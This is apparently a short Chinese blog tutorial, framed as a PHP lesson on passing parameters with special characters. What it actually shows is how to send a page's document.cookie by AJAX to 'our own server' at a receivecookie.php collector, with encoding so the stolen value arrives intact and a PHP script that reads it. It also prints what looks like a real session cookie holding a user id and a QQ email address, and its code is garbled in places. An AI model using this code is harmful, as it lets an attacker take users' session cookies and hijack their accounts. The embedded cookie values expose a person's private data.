那么获取到的cookie如何传到我们自己的服务器呢?
在这里,我使用的是ajax技术。但是ajax有一个跨域的问题,所以需要再http头部再进行设置。这里主要讲cookie的提交。
先看一段js代码:
xmlhttp.open(get,http://192.168.17.63/hellophp/receivecookie.php?cookie=+document.cookie,true);
这里将从网页获取到的cookie提交到receivecookie.php上,其中cookie有一部分是这样的:
ulv=1450275143055:1:1:1:182.138.174.191_1450275139.121259:;sguid=1450275146558_35957829; vjuids=-37098b091.151ab228f90.0.920dc7c7;vjlast=1450275148;sup=cv%3d1%26bt%3d1450275168%26et%3d1450361568%26d%3d40c3%26i%3d2611%26us%3d1%26vf%3d0%26vt%3d0%26ac%3d2%26st%3d0%26lt%3d1%26uid%3d2277147785%26user%3d493354115%2540qq.com%26ag%3d4%26name%3d493354115%2540qq.com%26nick%3d%25e7%25bb%25bf%25e8%258c%25b66888%26sex%3d1%26ps%3d0%26email%3d%26dob%3d%26ln%3d493354115%2540qq.com%26os%3d%26fmp%3d%26lcp%3d;subp=0033wrsxqpxfm725ws9jqgmf55529p9d9w5o5vidv35ch47we9htzl.1; alf=1481811169;
那么提交的过程中遇到特殊字符%,&等,就会自动解析,导致传参数错误。
解决的办法是:
var cookie = document.cookie;
cookie = escape(encodeuricomponent(cookie));
xmlhttp.open(get,http://192.168.17.63/hellophp/receivecookie.php?cookie=+cookie,true);
在receivecookie.php接收即可:
$cookie = $_get[cookie];
$cookie = (urldecode($cookie));
以上就介绍了php提交包含特殊字符的参数的方法,包括了方面的内容,希望对php教程有兴趣的朋友有所帮助。
